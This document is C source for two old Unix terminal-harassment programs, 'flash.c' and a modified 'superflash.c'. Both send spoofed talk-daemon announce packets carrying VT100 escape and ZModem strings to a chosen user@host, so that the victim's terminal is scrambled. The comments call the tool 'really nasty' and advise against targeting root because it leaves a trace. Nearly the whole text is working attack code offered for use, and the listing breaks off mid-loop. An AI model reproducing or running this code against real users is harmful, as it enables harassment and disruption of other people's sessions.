/* flash.c */ /* This little program is intended to quickly mess up a user's terminal by issuing a talk request to that person and sending vt100 escape characters that force the user to logout or kill his/her xterm in order to regain a sane view of the text. It the user's message mode is set to off (mesg n) he/she will be unharmed. This program is really nasty :-) Usage: flash user@host try compiling with: gcc -o flash flash.c */ #include #include #include #include #include #include /* this should really be in an include file.. */ #define OLD_NAME_SIZE 9 #define NAME_SIZE 12 #define TTY_SIZE 16 typedef struct { char type; char l_name[OLD_NAME_SIZE]; char r_name[OLD_NAME_SIZE]; char filler; u_long id_num; u_long pid; char r_tty[TTY_SIZE]; struct sockaddr_in addr; struct sockaddr_in ctl_addr; } OLD_MSG; typedef struct { u_char vers; char type; u_short filler; u_long id_num; struct sockaddr_in addr; struct sockaddr_in ctl_addr; long pid; char l_name[NAME_SIZE]; char r_name[NAME_SIZE]; char r_tty[TTY_SIZE]; } CTL_MSG; #define TALK_VERSION 1 /* protocol version */ /* Types */ #define LEAVE_INVITE 0 #define LOOK_UP 1 #define DELETE 2 #define ANNOUNCE 3 int current = 1; /* current id.. this to avoid duplications */ struct sockaddr_in *getinaddr(char *hostname, u_short port) { static struct sockaddr addr; struct sockaddr_in *address; struct hostent *host; address = (struct sockaddr_in *)&addr; (void) bzero( (char *)address, sizeof(struct sockaddr_in) ); /* fill in the easy fields */ address->sin_family = AF_INET; address->sin_port = htons(port); /* first, check if the address is an ip address */ address->sin_addr.s_addr = inet_addr(hostname); if ( (int)address->sin_addr.s_addr == -1) { /* it wasn't.. so we try it as a long host name */ host = gethostbyname(hostname); if (host) { /* wow. It's a host name.. set the fields */ /* ?? address->sin_family = host->h_addrtype; */ bcopy( host->h_addr, (char *)&address->sin_addr, host->h_length); } else { /* oops.. can't find it.. */ puts("Couldn't find address"); exit(-1); return (struct sockaddr_in *)0; } } /* all done. */ return (struct sockaddr_in *)address; } SendTalkPacket(struct sockaddr_in *target, char *p, int psize) { int s; struct sockaddr sample; /* not used.. only to get the size */ s = socket(AF_INET, SOCK_DGRAM, 0); sendto( s, p, psize, 0,(struct sock_addr *)target, sizeof(sample) ); } new_ANNOUNCE(char *hostname, char *remote, char *local) { CTL_MSG packet; struct sockaddr_in *address; /* create a packet */ address = getinaddr(hostname, 666 ); address->sin_family = htons(AF_INET); bzero( (char *)&packet, sizeof(packet) ); packet.vers = TALK_VERSION; packet.type = ANNOUNCE; packet.pid = getpid(); packet.id_num = current; bcopy( (char *)address, (char *)&packet.addr, sizeof(packet.addr ) ); bcopy( (char *)address, (char *)&packet.ctl_addr, sizeof(packet.ctl_addr)); strncpy( packet.l_name, local, NAME_SIZE); strncpy( packet.r_name, remote, NAME_SIZE); strncpy( packet.r_tty, "", 1); SendTalkPacket( getinaddr(hostname, 518), (char *)&packet, sizeof(packet) ); } old_ANNOUNCE(char *hostname, char *remote, char *local) { OLD_MSG packet; struct sockaddr_in *address; /* create a packet */ address = getinaddr(hostname, 666 ); address->sin_family = htons(AF_INET); bzero( (char *)&packet, sizeof(packet) ); packet.type = ANNOUNCE; packet.pid = getpid(); packet.id_num = current; bcopy( (char *)address, (char *)&packet.addr, sizeof(packet.addr ) ); bcopy( (char *)address, (char *)&packet.ctl_addr, sizeof(packet.ctl_addr)); strncpy( packet.l_name, local, NAME_SIZE); strncpy( packet.r_name, remote, NAME_SIZE); strncpy( packet.r_tty, "", 1); SendTalkPacket( getinaddr(hostname, 517), (char *)&packet, sizeof(packet) ); } main(int argc, char *argv[]) { char *hostname, *username; int pid; if ( (pid = fork()) == -1) { perror("fork()"); exit(-1); } if ( !pid ) { exit(0); } if (argc < 2) { puts("Usage: "); exit(5); } username = argv[1]; if ( (hostname = (char *)strchr(username, '@')) == NULL ) { puts("Invalid name. "); exit(-1); } *hostname = '\0'; hostname++; if (*username == '~') username++; #define FIRST "\033c\033(0\033#8" #define SECOND "\033[1;3r\033[J" #define THIRD "\033[5m\033[?5h" new_ANNOUNCE(hostname, username, FIRST); old_ANNOUNCE(hostname, username, FIRST); current++; new_ANNOUNCE(hostname, username, SECOND); new_ANNOUNCE(hostname, username, SECOND); current++; new_ANNOUNCE(hostname, username, THIRD); old_ANNOUNCE(hostname, username, THIRD); } ------------------------------------------------------------------------- /* superflash.c */ /* - Modified from the original a very, very little bit by Vassago - to add the ZModem Start Strings, and make it flash 7 times. */ /* This little program is intended to quickly mess up a user's terminal by issuing a talk request to that person and sending vt100 escape characters that force the user to logout or kill his/her xterm in order to regain a sane view of the text. It the user's message mode is set to off (mesg n) he/she will be unharmed. This program is really nasty :-) Usage: flash user@host try compiling with: gcc -o flash flash.c */ /* Changes: Allow several types of flash. Usage: flash user@host [level] where level is either the number or the word for these: 1 - BASIC - Old flash, no zmodem, just the nuke strings. 2 - ZMODEM - Old with ZModem. 3 - KILLER - 99 ZModem flashes. Should keep someone's term occupied for a while. WARNING: DONT FLASH ROOT with this shit. This leaves a trail a mile wide. */ #include #include #include #include #include #include #include #include #define BASIC 1 #define ZMODEM 2 #define KILLER 3 #define FIRST "\033(0\033#8" #define SECOND "\033[1;3r\033[5i" #define THIRD "\033[1;5m\033(0" #define FOURTH "**\030B00" #define FIFTH "\033**EMSI_IRQ8E08" /* Uncomment this for a debugging message... */ #define INFOMESSAGE /* this should really be in an include file.. */ #define OLD_NAME_SIZE 9 #define NAME_SIZE 12 #define TTY_SIZE 16 typedef struct { char type; char l_name[OLD_NAME_SIZE]; char r_name[OLD_NAME_SIZE]; char filler; u_long id_num; u_long pid; char r_tty[TTY_SIZE]; struct sockaddr_in addr; struct sockaddr_in ctl_addr; } OLD_MSG; typedef struct { u_char vers; char type; u_short filler; u_long id_num; struct sockaddr_in addr; struct sockaddr_in ctl_addr; long pid; char l_name[NAME_SIZE]; char r_name[NAME_SIZE]; char r_tty[TTY_SIZE]; } CTL_MSG; int seed = 0x2837; #define TALK_VERSION 1 /* protocol version */ /* Types */ #define LEAVE_INVITE 0 #define LOOK_UP 1 #define DELETE 2 #define ANNOUNCE 3 int current = 1; /* current id.. this to avoid duplications */ struct sockaddr_in *getinaddr(char *hostname, u_short port) { static struct sockaddr addr; struct sockaddr_in *address; struct hostent *host; address = (struct sockaddr_in *)&addr; (void) bzero( (char *)address, sizeof(struct sockaddr_in) ); /* fill in the easy fields */ address->sin_family = AF_INET; address->sin_port = htons(port); /* first, check if the address is an ip address */ address->sin_addr.s_addr = inet_addr(hostname); if ( (int)address->sin_addr.s_addr == -1) { /* it wasn't.. so we try it as a long host name */ host = gethostbyname(hostname); if (host) { /* wow. It's a host name.. set the fields */ /* ?? address->sin_family = host->h_addrtype; */ bcopy( host->h_addr, (char *)&address->sin_addr, host->h_length); } else { /* oops.. can't find it.. */ puts("Couldn't find address"); exit(-1); return (struct sockaddr_in *)0; } } /* all done. */ return (struct sockaddr_in *)address; } SendTalkPacket(struct sockaddr_in *target, char *p, int psize) { int s; struct sockaddr sample; /* not used.. only to get the size */ s = socket(AF_INET, SOCK_DGRAM, 0); sendto( s, p, psize, 0,(struct sock_addr *)target, sizeof(sample) ); } new_ANNOUNCE(char *hostname, char *remote, char *local) { CTL_MSG packet; struct sockaddr_in *address; /* create a packet */ address = getinaddr(hostname, 666 ); address->sin_family = htons(AF_INET); bzero( (char *)&packet, sizeof(packet) ); packet.vers = TALK_VERSION; packet.type = ANNOUNCE; packet.pid = getpid(); packet.id_num = current; bcopy( (char *)address, (char *)&packet.addr, sizeof(packet.addr ) ); bcopy( (char *)address, (char *)&packet.ctl_addr, sizeof(packet.ctl_addr)); strncpy( packet.l_name, local, NAME_SIZE); strncpy( packet.r_name, remote, NAME_SIZE); strncpy( packet.r_tty, "", 1); SendTalkPacket( getinaddr(hostname, 518), (char *)&packet, sizeof(packet) ); } old_ANNOUNCE(char *hostname, char *remote, char *local) { OLD_MSG packet; struct sockaddr_in *address; /* create a packet */ address = getinaddr(hostname, 666 ); address->sin_family = htons(AF_INET); bzero( (char *)&packet, sizeof(packet) ); packet.type = ANNOUNCE; packet.pid = getpid(); packet.id_num = current; bcopy( (char *)address, (char *)&packet.addr, sizeof(packet.addr ) ); bcopy( (char *)address, (char *)&packet.ctl_addr, sizeof(packet.ctl_addr)); strncpy( packet.l_name, local, NAME_SIZE); strncpy( packet.r_name, remote, NAME_SIZE); strncpy( packet.r_tty, "", 1); SendTalkPacket( getinaddr(hostname, 517), (char *)&packet, sizeof(packet) ); } int rnd() { seed *=0x1243; seed = seed & 0xFFFF; seed +=1; while(seed>10000)seed-=10000; return(seed); } pop(char *hostname, char *username, char *flashstring) { char newflashstr[80]; int e = rnd(); sprintf(newflashstr,"%d%s",e,flashstring); new_ANNOUNCE(hostname, username, newflashstr); old_ANNOUNCE(hostname, username, newflashstr); } flash(int type, char *hostname, char *username) { char firestring[10]; int x,y; current=0; if (type == 3) y = 14; else y = 1; for(x=0;x1) { current++; pop(hostname, username, FOURTH); current++; pop(hostname, username, FIFTH); current++; pop(hostname, username, FOURTH); } current++; pop(hostname, username, FIRST); } return(current); } GetType(char *TypeStr) { if (strcmp(TypeStr,"basic")==0) return(1); else if (strcmp(TypeStr,"zmodem")==0) return(2); else if (strcmp(TypeStr,"killer")==0) return(3); else if (strcmp(TypeStr,"1")==0) return(1); else if (strcmp(TypeStr,"2")==0) return(2); else if (strcmp(TypeStr,"3")==0) return(3); } main(int argc, char *argv[]) { char *hostname, *username; int pid,type,name; if ( (pid = fork()) == -1) { perror("fork()"); exit(-1); } if ( !pid ) { exit(0); } if (argc < 2) { puts("Usage: "); exit(5); } if (argc >= 3) { type=GetType(argv[argc-1]); if(type<1||type>3)type=ZMODEM; } else type=ZMODEM; /* default */ for(name=1; name